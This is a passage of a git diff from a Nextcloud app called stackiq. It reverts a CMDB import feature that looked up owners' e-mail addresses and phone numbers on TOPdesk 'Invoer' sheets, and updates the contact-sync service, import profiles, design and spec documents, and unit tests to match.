$parts['achternaam']); $email = trim((string)($identity['email'] ?? '')); - $phone = trim((string)($identity['telefoonnummer'] ?? '')); $cacheKey = 'name:' . mb_strtolower($displayName); if ($email !== '') { @@ -1182,88 +1174,57 @@ private function resolveContactUid(array $identity): ?string { return $this->contactUids[$cacheKey]; } - $contact = null; - if ($email !== '') { - $contact = $this->contactSync->findContactForRecord(objectType: 'contactPerson', record: ['email' => $email]); + $uid = null; + if ($email === '') { + $uid = $this->contactByDisplayName(displayName: $displayName); } - if ($contact === null) { - $contact = $this->contactByDisplayName(displayName: $displayName, email: $email); - } + if ($uid === null) { + $record = ['voornaam' => $parts['voornaam'], 'achternaam' => $parts['achternaam']]; + if ($email !== '') { + $record['email'] = $email; + } - $record = ['voornaam' => $parts['voornaam'], 'achternaam' => $parts['achternaam']]; - foreach (['email' => $email, 'telefoonnummer' => $phone, 'role' => trim((string)($identity['role'] ?? ''))] as $field => $value) { - if ($value !== '') { - $record[$field] = $value; + $role = trim((string)($identity['role'] ?? '')); + if ($role !== '') { + $record['role'] = $role; + } + + $uid = $this->contactSync->syncToNamedAddressBook( + objectType: 'contactPerson', + record: $record, + addressBookUri: self::OWNER_ADDRESS_BOOK_URI, + displayName: $this->l10n->t('Stackiq CMDB owners') + ); + if ($uid === '') { + $uid = null; } } - $uid = $this->ownerContact(contact: $contact, record: $record); $this->contactUids[$cacheKey] = $uid; return $uid; }//end resolveContactUid() /** - * The contact whose display name is exactly the owner's, case-insensitive. - * - * With an e-mail address, a contact that has another address is someone - * else, so only a contact without one is taken. + * The contact whose display name is exactly this one, case-insensitive. * - * @param string $displayName The owner's display name. - * @param string $email The owner's e-mail address, or ''. + * @param string $displayName The display name. * - * @return array|null The contact as IManager::search() returns it, or null. + * @return string|null The contact UID, or null. * * @spec openspec/changes/cmdb-export-import/tasks.md#task-6 */ - private function contactByDisplayName(string $displayName, string $email): ?array { - foreach ($this->contactSync->findContactsByDisplayName(displayName: $displayName) as $contact) { - // IManager::search() gives a multi-valued property as a list. - $emails = (array)($contact['EMAIL'] ?? []); - if ($email === '' || trim((string)($emails[0] ?? '')) === '') { - return $contact; + private function contactByDisplayName(string $displayName): ?string { + $needle = mb_strtolower($displayName); + foreach ($this->contactSync->searchContacts(query: $displayName) as $contact) { + if (mb_strtolower(trim((string)($contact['name'] ?? ''))) === $needle) { + return (string)$contact['uid']; } } return null; }//end contactByDisplayName() - /** - * Complete the found contact with the e-mail address and phone number it lacks, or create the owner's contact. - * - * @param array|null $contact The found contact, or null. - * @param array $record voornaam, achternaam, and email, telefoonnummer and role when known. - * - * @return string|null The contact UID, or null. - * - * @spec openspec/changes/cmdb-export-import/tasks.md#task-6 - */ - private function ownerContact(?array $contact, array $record): ?string { - $uid = ''; - if ($contact !== null) { - $this->contactSync->completeContact( - contact: $contact, - channels: ['EMAIL' => ($record['email'] ?? ''), 'TEL' => ($record['telefoonnummer'] ?? '')] - ); - $uid = (string)($contact['UID'] ?? ''); - } - - if ($contact === null) { - $uid = (string)$this->contactSync->syncToNamedAddressBook( - objectType: 'contactPerson', - record: $record, - addressBookUri: self::OWNER_ADDRESS_BOOK_URI, - displayName: $this->l10n->t('Stackiq CMDB owners') - ); - } - - if ($uid === '') { - return null; - } - - return $uid; - }//end ownerContact() - /** * Find or create the contact person of a contact for the municipality. * diff --git a/lib/Service/StackiqContactSyncService.php b/lib/Service/StackiqContactSyncService.php index 49136a445..60dfc2c58 100644 --- a/lib/Service/StackiqContactSyncService.php +++ b/lib/Service/StackiqContactSyncService.php @@ -362,74 +362,6 @@ public function findContactByUid(string $uid): ?array { return null; }//end findContactByUid() - /** - * The contacts whose display name (FN) is exactly this one, case-insensitive. - * - * @param string $displayName The display name. - * - * @return array> The contacts as IManager::search() returns them. - * - * @spec openspec/changes/cmdb-export-import/tasks.md#task-6 - */ - public function findContactsByDisplayName(string $displayName): array { - $needle = mb_strtolower(trim($displayName)); - if ($needle === '' || $this->isAvailable() === false) { - return []; - } - - $found = []; - foreach ($this->contactsManager->search($displayName, ['FN'], ['limit' => 50]) as $result) { - if (mb_strtolower(trim($this->firstValue(value: ($result['FN'] ?? '')))) === $needle) { - $found[] = $result; - } - } - - return $found; - }//end findContactsByDisplayName() - - /** - * Add the e-mail address and phone number a contact lacks; a value it has is never replaced. - * - * The contact is one IManager::search() returned, so it carries its URI - * and address book key. A contact in an address book that cannot be - * written (the system address book) is left as it is. - * - * @param array $contact The contact. - * @param array{EMAIL?: string, TEL?: string} $channels The values to add when the contact has none. - * - * @return bool Whether the contact was updated. - * - * @spec openspec/changes/cmdb-export-import/tasks.md#task-6 - */ - public function completeContact(array $contact, array $channels): bool { - $uri = (string)($contact['URI'] ?? ''); - $addressBookKey = (string)($contact['addressbook-key'] ?? ''); - if ($uri === '' || $addressBookKey === '' || $this->isAvailable() === false) { - return false; - } - - $properties = []; - foreach (['EMAIL', 'TEL'] as $name) { - $value = trim((string)($channels[$name] ?? '')); - if ($value !== '' && $this->firstValue(value: ($contact[$name] ?? '')) === '') { - $properties[$name] = $value; - } - } - - if ($properties === []) { - return false; - } - - try { - $this->contactsManager->createOrUpdate(array_merge(['URI' => $uri], $properties), $addressBookKey); - } catch (Throwable $e) { - $this->logger->info('[StackiqContactSync] The contact could not be completed', ['exception' => get_class($e)]); - return false; - } - - return true; - }//end completeContact() - /** * Find a Nextcloud contact matching a relationship record's identity, by * e-mail first and — for organisations — by CBS/KvK code as a fallback. diff --git a/lib/Settings/cmdb-import/topdesk-business-owner.json b/lib/Settings/cmdb-import/topdesk-business-owner.json index 9a0e60b38..f987d51ee 100644 --- a/lib/Settings/cmdb-import/topdesk-business-owner.json +++ b/lib/Settings/cmdb-import/topdesk-business-owner.json @@ -1,14 +1,12 @@ { "id": "stackiq-topdesk-business-owner", "name": "TOPdesk CMDB export to business owner identity", - "description": "The application owner (Applicatie Eigenaar (Persoon)); the value may be a function instead of a name and is used as the display name either way. The e-mail address and phone number are not on the CMDB sheets; the profile looks them up on the row of the sheet's \"Invoer\" sheet with the same Middel-ID. The import resolves the owner in Nextcloud Contacts by e-mail address, else by exact display name, adds an e-mail address or phone number the contact lacks, and links a contactPerson of the municipality as usage.businessOwner, with the owner's function as its role. No other person column is read.", + "description": "The application owner (Applicatie Eigenaar (Persoon)); the value may be a function instead of a name and is used as the display name either way. The import resolves it in Nextcloud Contacts by exact display name and links a contactPerson of the municipality as usage.businessOwner, with the owner's function as its role. No other person column is read.", "sourceFormat": "excel", - "version": "2.1.0", + "version": "2.0.0", "fieldMappings": [ { "source": "Applicatie Eigenaar (Persoon)", "target": "name", "required": true, "transform": { "type": "trim" } }, - { "source": "Applicatie Eigenaar (Functie)", "target": "role", "transform": { "type": "trim" } }, - { "source": "Eigenaar e-mail", "target": "email", "transform": { "type": "trim" } }, - { "source": "Eigenaar mobiel nummer", "target": "telefoonnummer", "transform": { "type": "trim" } } + { "source": "Applicatie Eigenaar (Functie)", "target": "role", "transform": { "type": "trim" } } ], "idStrategy": { "type": "generate" } } diff --git a/lib/Settings/cmdb-import/topdesk-profile.json b/lib/Settings/cmdb-import/topdesk-profile.json index 859affc02..2923284e7 100644 --- a/lib/Settings/cmdb-import/topdesk-profile.json +++ b/lib/Settings/cmdb-import/topdesk-profile.json @@ -2,7 +2,7 @@ "id": "topdesk-cmdb", "name": "TOPdesk CMDB export", "version": "2.0.0", - "description": "How stackiq reads a TOPdesk CMDB export (xlsx): the two CMDB sheets and the \"Invoer\" sheet each looks the owner's e-mail address and phone number up in, the key and required columns, date and id columns, values that mean empty, the pack per target and the limits. Columns that neither this profile nor a pack names are never read.", + "description": "How stackiq reads a TOPdesk CMDB export (xlsx): the two CMDB sheets, the key and required columns, date and id columns, values that mean empty, the pack per target and the limits. Columns that neither this profile nor a pack names are never read.", "maxFileBytes": 10485760, "maxRowsPerSheet": 10000, "maxUncompressedBytes": 52428800, @@ -10,13 +10,11 @@ { "name": "Onbeh Applicaties CMDB", "constants": { "Beheer": "Beheer geregeld: nee" }, - "absentColumns": ["Nickname"], - "lookup": { "sheet": "Invoer AIA data", "on": "Applicatie Code", "key": "Middel-ID", "columns": ["Eigenaar e-mail", "Eigenaar mobiel nummer"] } + "absentColumns": ["Nickname"] }, { "name": "Beheerde Applicaties CMDB", - "constants": { "Beheer": "Beheer geregeld: ja" }, - "lookup": { "sheet": "Invoer APP data", "on": "Applicatie Code", "key": "Middel-ID", "columns": ["Eigenaar e-mail", "Eigenaar mobiel nummer"] } + "constants": { "Beheer": "Beheer geregeld: ja" } } ], "sheetPrecedence": ["Beheerde Applicaties CMDB", "Onbeh Applicaties CMDB"], @@ -24,7 +22,7 @@ "nameColumn": "Applicatie Naam", "requiredColumns": ["APPID", "Applicatie Naam"], "dateColumns": ["Datum", "Referentie datum wijziging", "End-of-Life Functioneel"], - "idColumns": ["APPID", "Eigenaar mobiel nummer"], + "idColumns": ["APPID"], "emptyValues": { "BNN Classificatie": ["NB"] }, diff --git a/openspec/changes/cmdb-export-import/design.md b/openspec/changes/cmdb-export-import/design.md index c86bbe2d4..618a710f5 100644 --- a/openspec/changes/cmdb-export-import/design.md +++ b/openspec/changes/cmdb-export-import/design.md @@ -2,7 +2,7 @@ ## Context -A municipality delivers its application landscape as a TOPdesk export (xlsx). The anonymised test export has ten sheets. The municipality's application manager exports AIA and APP from TOPdesk into the raw "Invoer AIA data" and "Invoer APP data" sheets; the CMDB sheets next to them are the overviews the municipality itself uses as "the CMDB", built from the raw sheets with formulas. Decided with the municipality on 2026-10-01: the import reads the two CMDB sheets, "Onbeh Applicaties CMDB" (35 columns, from AIA: applications **without** arranged maintenance) and "Beheerde Applicaties CMDB" (42 columns, from APP: **with** arranged maintenance). Of the "Invoer" sheets only the owner's "Eigenaar e-mail" and "Eigenaar mobiel nummer" are read (decided with the user on 2026-10-05, so owners in Contacts have an address and number; the CMDB sheets leave them out), looked up by "Middel-ID" = the CMDB sheet's "Applicatie Code"; "Gearchiveerde Applicaties" is a follow-up (missing records). Both CMDB sheets carry formatted but empty rows below the data, and "Beheerde" also formula rows that reference empty "Invoer" rows. Every cell is a formula; the reader uses the cached values. Dates are Excel serial numbers. The file also contains document metadata, a SharePoint sensitivity label, an embedded Power Query package and an external data connection (`xl/connections.xml`). +A municipality delivers its application landscape as a TOPdesk export (xlsx). The anonymised test export has ten sheets. The municipality's application manager exports AIA and APP from TOPdesk into the raw "Invoer AIA data" and "Invoer APP data" sheets; the CMDB sheets next to them are the overviews the municipality itself uses as "the CMDB", built from the raw sheets with formulas. Decided with the municipality on 2026-10-01: the import reads the two CMDB sheets, "Onbeh Applicaties CMDB" (35 columns, from AIA: applications **without** arranged maintenance) and "Beheerde Applicaties CMDB" (42 columns, from APP: **with** arranged maintenance). The "Invoer" sheets are not read; "Gearchiveerde Applicaties" is a follow-up (missing records). Both CMDB sheets carry formatted but empty rows below the data, and "Beheerde" also formula rows that reference empty "Invoer" rows. Every cell is a formula; the reader uses the cached values. Dates are Excel serial numbers. The file also contains document metadata, a SharePoint sensitivity label, an embedded Power Query package and an external data connection (`xl/connections.xml`). The chain baseline on the local rig (OpenRegister 2.1.34-unstable, OpenCatalogi 2.1.17-unstable, Portaliq 0.2.8-unstable, stackiq 0.2.4-unstable) fixed what the import has to produce: @@ -154,7 +154,7 @@ When step 3 succeeds and step 5 fails, the row is `failed` with the step named. Stackiq keeps a person's identity in Nextcloud Contacts. A `contactPerson` object holds only `contactsUid`, `role`, `organization` and `roles`. The owner is "Applicatie Eigenaar (Persoon)"; when TOPdesk has no owner the CMDB sheet shows the owner's function there instead, and the import uses that as the display name too. "Applicatie Eigenaar (Functie)" is the role; "Applicatie Eigenaar (Afdeling)" goes into the usage note (D7), because a contact person has no department field. The functional administrator (FB contactpersoon) is not imported, so there is no `technicalOwner`. -1. The e-mail address and phone number come from the "Invoer" sheet (profile `lookup`). The service finds the contact by e-mail address (`findContactForRecord`), else by an exact, case-insensitive display-name match (`findContactsByDisplayName`; with an e-mail address only a contact without one, so a namesake is not taken), and adds the e-mail address and phone number a found contact lacks (`completeContact`, which never replaces a value). Otherwise `syncToNamedAddressBook` creates the contact with name, role, e-mail address and phone number. This avoids creating a new contact on every import, and completes the contacts earlier imports made without an address. +1. The CMDB sheets carry no e-mail address, so the service runs `searchContacts(name)` and accepts only an exact, case-insensitive display-name match; otherwise `StackiqContactSyncService::syncToContacts('contactPerson', ['voornaam' => …, 'achternaam' => …, 'role' => …])` creates the contact. This avoids creating a new contact on every import. 2. Find the `contactPerson` with that `contactsUid` and `organization` = the municipality (run cache, then `searchObjects`). If none exists, create it with `role` = "Applicatie Eigenaar (Functie)" when given. 3. Set `usage.businessOwner` to its uuid. @@ -221,8 +221,7 @@ Source columns of "Onbeh Applicaties CMDB" and "Beheerde Applicaties CMDB" and w | Applicatiecomponent, Bron, Datum Interface, Referentie element externe ID, Cloud, Rappeldatum, Rappelreden, Locatie BIOToets | both | not mapped | Cloud is derived from Applicatiesoort; Datum Interface is the export date | | Beschikbaarheid, Integriteit, Vertrouwelijkheid, Applicatienut, Kwaliteit en betrouwbaarheid van leverancier, Flexibiliteit, Gebruikerstevredenheid, Reputatie risico | both | not mapped (no field on module or usage) | schema extension is out of scope | | Standaard, Behandelgroep, End-of-life Technisch, End-of-support Technisch, Top5, COTS, Applicatie Nummer | Beheerde | not mapped | Applicatie Nummer repeats the APPID | -| "Invoer" sheets: Eigenaar e-mail, Eigenaar mobiel nummer (by Middel-ID) | owner's Nextcloud contact (EMAIL, TEL) | lookup; never on a stackiq object | | -| every other column of the "Invoer" sheets | – | never read | | +| every column of the "Invoer" sheets | – | never read | | ## API Design @@ -271,7 +270,7 @@ The fragment bumps `module` to `0.3.5`. Fragments are merged in filename order a - **Resource bounds:** row cap per sheet, and only allowlisted columns are kept. Memory is bounded by loading only the two CMDB sheets. - **Injection:** every value is a string that goes through OpenRegister's schema validation on save, and is never used in SQL, file paths or templates. The UI renders values as text only. - **Isolation:** every row runs in its own try/catch. Errors are reported per row, and the import continues. -- **Privacy:** the column allowlist keeps every person column except the owner out of memory; of the "Invoer" sheets, which hold personnel numbers, phones and group mailboxes, only the owner's e-mail address and mobile number are read, and only into Nextcloud Contacts. Owner identity goes only to Nextcloud Contacts, and `contactPerson` and `usage` are never publicly readable (D8). Reports and logs carry no person data. +- **Privacy:** the column allowlist keeps every person column except the owner out of memory; the "Invoer" sheets, which hold personnel numbers, phones and group mailboxes, are not read at all. Owner identity goes only to Nextcloud Contacts, and `contactPerson` and `usage` are never publicly readable (D8). Reports and logs carry no person data. - **Fixture hygiene:** the test fixture is the anonymised export with document metadata, the custom properties (sensitivity label), `customXml/` (including the Power Query package) and `xl/connections.xml` removed. One small synthetic connection part is added back for the external-connection test. ## NL Design System diff --git a/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md b/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md index e942c1649..8dcdf940a 100644 --- a/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md +++ b/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md @@ -79,7 +79,7 @@ The reader SHALL open the workbook with PhpSpreadsheet's Xlsx reader in read-dat ### Requirement: Columns SHALL be resolved by header name, and a missing required column SHALL stop the import with 422 (REQ-CMDB-003) -The source sheets SHALL be the CMDB sheets "Onbeh Applicaties CMDB" and "Beheerde Applicaties CMDB". Of the "Invoer" sheet each source sheet is derived from (the profile's `lookup`: "Invoer AIA data" for Onbeh, "Invoer APP data" for Beheerde), the reader SHALL read only "Middel-ID", "Eigenaar e-mail" and "Eigenaar mobiel nummer", and SHALL add the last two to the source row whose "Applicatie Code" equals that "Middel-ID" (trimmed, case-insensitive), filling only cells the source row leaves empty. A lookup sheet or key column the workbook lacks SHALL produce one import-level warning and no error; no other "Invoer" column SHALL be read. The reader SHALL take the first row of each source sheet as headers and SHALL match them to the profile's column names per sheet, case-insensitively, after trimming whitespace and dropping a trailing `:` or `⚡`. Column order SHALL NOT matter. When a present source sheet lacks a column the profile marks as required (`APPID`, `Applicatie Naam`), the endpoint SHALL answer 422 with error `MISSING_COLUMN`, naming the column and the sheet, before any object is written. When neither source sheet exists, the endpoint SHALL answer 422 with error `NO_SOURCE_SHEET`, naming both expected sheets. A missing optional column SHALL produce one import-level warning and no row error, except for a column the profile lists as absent on that sheet (`Nickname` on "Onbeh Applicaties CMDB"). +The source sheets SHALL be the CMDB sheets "Onbeh Applicaties CMDB" and "Beheerde Applicaties CMDB"; the "Invoer" sheets SHALL NOT be read. The reader SHALL take the first row of each source sheet as headers and SHALL match them to the profile's column names per sheet, case-insensitively, after trimming whitespace and dropping a trailing `:` or `⚡`. Column order SHALL NOT matter. When a present source sheet lacks a column the profile marks as required (`APPID`, `Applicatie Naam`), the endpoint SHALL answer 422 with error `MISSING_COLUMN`, naming the column and the sheet, before any object is written. When neither source sheet exists, the endpoint SHALL answer 422 with error `NO_SOURCE_SHEET`, naming both expected sheets. A missing optional column SHALL produce one import-level warning and no row error, except for a column the profile lists as absent on that sheet (`Nickname` on "Onbeh Applicaties CMDB"). #### Scenario: A missing required column is named in the 422 response @e2e tests/e2e/spec-coverage/cmdb-import.spec.ts @@ -284,7 +284,7 @@ For each imported module the service SHALL keep exactly one `usage` with `consum ### Requirement: The owner SHALL become a contact person of the municipality through Nextcloud Contacts, never a user account, and SHALL never be publicly readable (REQ-CMDB-010) -The business owner pack SHALL map "Applicatie Eigenaar (Persoon)" (the display name, which may be a function instead of a person's name) and "Applicatie Eigenaar (Functie)" (the role). No technical owner SHALL be imported; the functional administrator columns SHALL NOT be read. The pack SHALL also map "Eigenaar e-mail" and "Eigenaar mobiel nummer", which the reader looks up on the "Invoer" sheet; they SHALL be written to the Nextcloud contact only, never to a stackiq object. For the owner the service SHALL resolve a Nextcloud contact through `StackiqContactSyncService` by e-mail address, else by an exact match on the display name (with an e-mail address, only a contact without one), and otherwise by creating one. A resolved contact SHALL get the e-mail address and phone number it lacks; a value it has SHALL NOT be replaced. It SHALL then reuse or create one `contactPerson` with that `contactsUid`, `organization` = the municipality and `role` = "Applicatie Eigenaar (Functie)" when given, and SHALL set `usage.businessOwner` to it. The import SHALL NOT create Nextcloud user accounts. When Nextcloud Contacts is unavailable, the row SHALL be imported without an owner and SHALL carry a warning. `contactPerson` and `usage` SHALL have no public read rule, so the owner is never readable by an anonymous visitor; a published module SHALL refer to them by relation only. +The business owner pack SHALL map "Applicatie Eigenaar (Persoon)" (the display name, which may be a function instead of a person's name) and "Applicatie Eigenaar (Functie)" (the role). No technical owner SHALL be imported; the functional administrator columns SHALL NOT be read. For the owner the service SHALL resolve a Nextcloud contact through `StackiqContactSyncService` by an exact match on the display name, and otherwise by creating one. It SHALL then reuse or create one `contactPerson` with that `contactsUid`, `organization` = the municipality and `role` = "Applicatie Eigenaar (Functie)" when given, and SHALL set `usage.businessOwner` to it. The import SHALL NOT create Nextcloud user accounts. When Nextcloud Contacts is unavailable, the row SHALL be imported without an owner and SHALL carry a warning. `contactPerson` and `usage` SHALL have no public read rule, so the owner is never readable by an anonymous visitor; a published module SHALL refer to them by relation only. #### Scenario: The owner becomes the business owner @e2e exclude Needs a Contacts address book; tests/Unit/Service/CmdbExportImportServiceTest.php asserts the calls to a StackiqContactSyncService test double and the saved contactPerson. @@ -303,14 +303,6 @@ The business owner pack SHALL map "Applicatie Eigenaar (Persoon)" (the display n - **THEN** OpenRegister SHALL return no contact person and no usage - **AND** the OpenCatalogi search hit SHALL carry no owner name, and its `contactPerson` and `usages` SHALL be empty or ids only -#### Scenario: An owner known by name gets the e-mail address and phone number from the Invoer sheet -@e2e exclude Needs a Contacts address book; tests/Unit/Service/CmdbExportImportServiceTest.php testAnOwnerKnownByNameGetsTheEmailAndPhoneItLacks and testANamesakeWithAnotherEmailIsNotTaken, and tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php testALookupAddsOnlyItsColumnsByKey. - -- **GIVEN** a contact `Voornaam Achternaam` without e-mail address or phone number, and an "Invoer" row with the row's Middel-ID, an "Eigenaar e-mail" and an "Eigenaar mobiel nummer" -- **WHEN** the row with owner `Achternaam, Voornaam` is imported -- **THEN** that contact SHALL get the e-mail address and phone number, and no second contact SHALL be created -- **AND** no `contactPerson`, `usage` or `module` SHALL hold the e-mail address or phone number - #### Scenario: The same owner on two rows is one contact person @e2e exclude Covered by the service test; tests/Unit/Service/CmdbExportImportServiceTest.php testTheSameOwnerOnTwoRowsIsOneContactPerson. diff --git a/tests/Unit/Service/Cmdb/CmdbImportProfileTest.php b/tests/Unit/Service/Cmdb/CmdbImportProfileTest.php index d45452797..5a1f9f31c 100644 --- a/tests/Unit/Service/Cmdb/CmdbImportProfileTest.php +++ b/tests/Unit/Service/Cmdb/CmdbImportProfileTest.php @@ -131,15 +131,7 @@ public function testThePacksImplementTheColumnTable(): void { ['Applicatie Status' => 'status', 'Classificatie' => 'timeClassification', 'End-of-Life Functioneel' => 'startDateOutPhased', 'Beheer' => 'interneAnnotation'], $targets('usage') ); - $this->assertSame( - [ - 'Applicatie Eigenaar (Persoon)' => 'name', - 'Applicatie Eigenaar (Functie)' => 'role', - 'Eigenaar e-mail' => 'email', - 'Eigenaar mobiel nummer' => 'telefoonnummer', - ], - $targets('businessOwner') - ); + $this->assertSame(['Applicatie Eigenaar (Persoon)' => 'name', 'Applicatie Eigenaar (Functie)' => 'role'], $targets('businessOwner')); $this->assertSame(['module', 'manufacturer', 'municipality', 'usage', 'businessOwner'], CmdbImportProfile::TARGETS, 'no technical owner'); $this->assertSame(['type' => 'Supplier', 'status' => 'Active', 'registeredBy' => 'Supplier'], $profile->pack(target: 'manufacturer')['defaults']); @@ -225,8 +217,7 @@ public function testPersonColumnsAreNeverReferenced(): void { foreach ([ 'Personeelsnummer', 'Eigenaar', - 'Eigenaar afdeling', - 'Eigenaar functie', + 'Eigenaar e-mail', 'FB contactpersoon 1', 'FB contactpersoon 2', 'Groepseigenaar mail⚡', @@ -242,15 +233,6 @@ public function testPersonColumnsAreNeverReferenced(): void { $this->assertNotContains($never, $columns); } - // Read only for the owner's Nextcloud contact, looked up on the Invoer sheets; no stackiq object holds them. - $this->assertContains('Eigenaar e-mail', $columns); - $this->assertContains('Eigenaar mobiel nummer', $columns); - $this->assertSame( - ['sheet' => 'Invoer AIA data', 'on' => 'Applicatie Code', 'key' => 'Middel-ID', 'columns' => ['Eigenaar e-mail', 'Eigenaar mobiel nummer']], - $profile->lookup(sheetName: 'Onbeh Applicaties CMDB') - ); - $this->assertSame('Invoer APP data', $profile->lookup(sheetName: 'Beheerde Applicaties CMDB')['sheet']); - $this->assertContains('Applicatie Eigenaar (Persoon)', $columns); $this->assertContains('Applicatie Eigenaar (Functie)', $columns); $this->assertContains('Applicatie Eigenaar (Afdeling)', $columns, 'the concat field is read too'); diff --git a/tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php b/tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php index 91b522739..f0c81f7bf 100644 --- a/tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php +++ b/tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php @@ -96,7 +96,6 @@ public function testTheSanitisedExportYieldsOneRowPerSheet(): void { $this->assertSame('Mailen', $rows[0]['cells']['Roepnaam']); $this->assertSame('Webapplicatie', $rows[0]['cells']['Applicatiesoort']); $this->assertSame('Achternaam, Voornaam', $rows[0]['cells']['Applicatie Eigenaar (Persoon)']); - $this->assertSame('letter.achternaam@gemeente.nl', $rows[0]['cells']['Eigenaar e-mail'], 'looked up on "Invoer AIA data" by Middel-ID'); $this->assertArrayNotHasKey('Nickname', $rows[0]['cells'], 'Onbeh has no Nickname column'); $this->assertSame('naamtest123', $rows[1]['cells']['Applicatie Naam']); $this->assertSame(2, (int)$rows[1]['cells']['APPID']); @@ -381,66 +380,6 @@ public function testTheDataPassHoldsOnlyResolvedColumns(): void { } }//end testTheDataPassHoldsOnlyResolvedColumns() - /** - * A lookup adds only its listed columns, from the Invoer row with the same Middel-ID, to the rows that have one. - * - * @return void - */ - public function testALookupAddsOnlyItsColumnsByKey(): void { - $this->requireSpreadsheet(); - $path = CmdbTestSupport::buildWorkbook( - sheets: [ - 'Beheerde Applicaties CMDB' => [ - ['APPID', 'Applicatie Code', 'Applicatie Naam'], - [1, 'APP-een', 'Een'], - [2, 'APP-twee', 'Twee'], - ], - 'Invoer APP data' => [ - ['Personeelsnummer', 'Middel-ID', 'Eigenaar e-mail', 'Eigenaar mobiel nummer'], - ['P-0002', ' app-TWEE ', 'twee@example.org', '0612345678'], - ['P-0003', 'APP-drie', 'drie@example.org', ''], - ], - ] - ); - - try { - $result = (new CmdbWorkbookReader())->read(path: $path, profile: $this->profile()); - $rows = array_column($result['rows'], 'cells', 'row'); - $this->assertArrayNotHasKey('Eigenaar e-mail', array_filter($rows[2], static fn ($value): bool => $value !== null), 'APP-een has no Invoer row'); - $this->assertSame('twee@example.org', $rows[3]['Eigenaar e-mail'], 'keys match whatever their case or surrounding space'); - $this->assertSame('0612345678', (string)$rows[3]['Eigenaar mobiel nummer']); - $this->assertStringNotContainsString('P-000', (string)json_encode($result['rows'])); - $this->assertCount(2, $result['rows'], 'a lookup sheet adds no rows of its own'); - $this->assertSame([], array_filter($result['importWarnings'], static fn (array $warning): bool => isset($warning['lookupSheet']) || isset($warning['lookupKey']))); - } finally { - unlink($path); - } - }//end testALookupAddsOnlyItsColumnsByKey() - - /** - * A missing lookup sheet is an import warning, and the source rows are read without its columns. - * - * @return void - */ - public function testAMissingLookupSheetIsAWarning(): void { - $this->requireSpreadsheet(); - $path = CmdbTestSupport::buildWorkbook( - sheets: ['Beheerde Applicaties CMDB' => [['APPID', 'Applicatie Code', 'Applicatie Naam'], [1, 'APP-een', 'Een']]] - ); - - try { - $result = (new CmdbWorkbookReader())->read(path: $path, profile: $this->profile()); - $this->assertCount(1, $result['rows']); - $lookupWarnings = array_values(array_filter($result['importWarnings'], static fn (array $warning): bool => isset($warning['lookupSheet']))); - $this->assertSame( - [['sheet' => 'Beheerde Applicaties CMDB', 'lookupSheet' => 'Invoer APP data', 'lookupColumns' => ['Eigenaar e-mail', 'Eigenaar mobiel nummer']]], - array_map(static fn (array $warning): array => array_diff_key($warning, ['message' => true]), $lookupWarnings) - ); - } finally { - unlink($path); - } - }//end testAMissingLookupSheetIsAWarning() - /** * A sheet within the row span still stops at the limit on non-empty rows. * diff --git a/tests/Unit/Service/CmdbExportImportServiceTest.php b/tests/Unit/Service/CmdbExportImportServiceTest.php index 70e9aec0b..2c07ea555 100644 --- a/tests/Unit/Service/CmdbExportImportServiceTest.php +++ b/tests/Unit/Service/CmdbExportImportServiceTest.php @@ -514,43 +514,18 @@ public function schemaProperties(int $schema, bool $rbac, bool $multitenancy): a private function contactSync(): StackiqContactSyncService { $sync = $this->createMock(StackiqContactSyncService::class); $sync->method('isAvailable')->willReturnCallback(fn (): bool => $this->contactsEnabled); - $sync->method('findContactForRecord')->willReturnCallback( - function (string $objectType, array $record): ?array { - foreach ($this->contacts as $uid => $contact) { - if (($record['email'] ?? '') !== '' && strcasecmp($contact['email'], $record['email']) === 0) { - return $this->searchResult(uid: $uid); - } - } - - return null; - } - ); - $sync->method('findContactsByDisplayName')->willReturnCallback( - function (string $displayName): array { + $sync->method('searchContacts')->willReturnCallback( + function (string $query): array { $found = []; foreach ($this->contacts as $uid => $contact) { - if (mb_strtolower($contact['name']) === mb_strtolower($displayName)) { - $found[] = $this->searchResult(uid: $uid); + if (str_contains(mb_strtolower($contact['name']), mb_strtolower($query)) === true) { + $found[] = ['uid' => $uid, 'name' => $contact['name'], 'email' => $contact['email']]; } } return $found; } ); - $sync->method('completeContact')->willReturnCallback( - function (array $contact, array $channels): bool { - $uid = $contact['UID']; - $updated = false; - foreach (['EMAIL' => 'email', 'TEL' => 'phone'] as $property => $field) { - if (($channels[$property] ?? '') !== '' && ($this->contacts[$uid][$field] ?? '') === '') { - $this->contacts[$uid][$field] = $channels[$property]; - $updated = true; - } - } - - return $updated; - } - ); $sync->method('syncToContacts')->willThrowException(new \LogicException('owners go into the named address book, not the first writable one')); $sync->method('syncToNamedAddressBook')->willReturnCallback( function (string $objectType, array $record, string $addressBookUri, string $displayName): ?string { @@ -563,11 +538,7 @@ function (string $objectType, array $record, string $addressBookUri, string $dis } $uid = 'contact-' . (count($this->contacts) + 1); - $this->contacts[$uid] = [ - 'name' => trim(($record['voornaam'] ?? '') . ' ' . ($record['achternaam'] ?? '')), - 'email' => $email, - 'phone' => (string)($record['telefoonnummer'] ?? ''), - ]; + $this->contacts[$uid] = ['name' => trim(($record['voornaam'] ?? '') . ' ' . ($record['achternaam'] ?? '')), 'email' => $email]; return $uid; } ); @@ -575,25 +546,6 @@ function (string $objectType, array $record, string $addressBookUri, string $dis return $sync; }//end contactSync() - /** - * A fake contact as IManager::search() returns it. - * - * @param string $uid The contact UID. - * - * @return array - */ - private function searchResult(string $uid): array { - $contact = $this->contacts[$uid]; - return [ - 'UID' => $uid, - 'URI' => $uid . '.vcf', - 'addressbook-key' => '1', - 'FN' => $contact['name'], - 'EMAIL' => $contact['email'], - 'TEL' => ($contact['phone'] ?? ''), - ]; - }//end searchResult() - /** * A ProgressTracker on an in-memory distributed cache. * @@ -1470,11 +1422,7 @@ public function testTheOwnerBecomesTheBusinessOwner(): void { $municipality = $report['municipality']['uuid']; $this->assertEqualsCanonicalizing(['Voornaam Achternaam', 'Teamleider Applicatiebeheer'], array_column($this->contacts, 'name')); - $this->assertSame( - ['Voornaam Achternaam' => 'letter.achternaam@gemeente.nl', 'Teamleider Applicatiebeheer' => ''], - array_column($this->contacts, 'email', 'name'), - 'the e-mail address comes from the Invoer 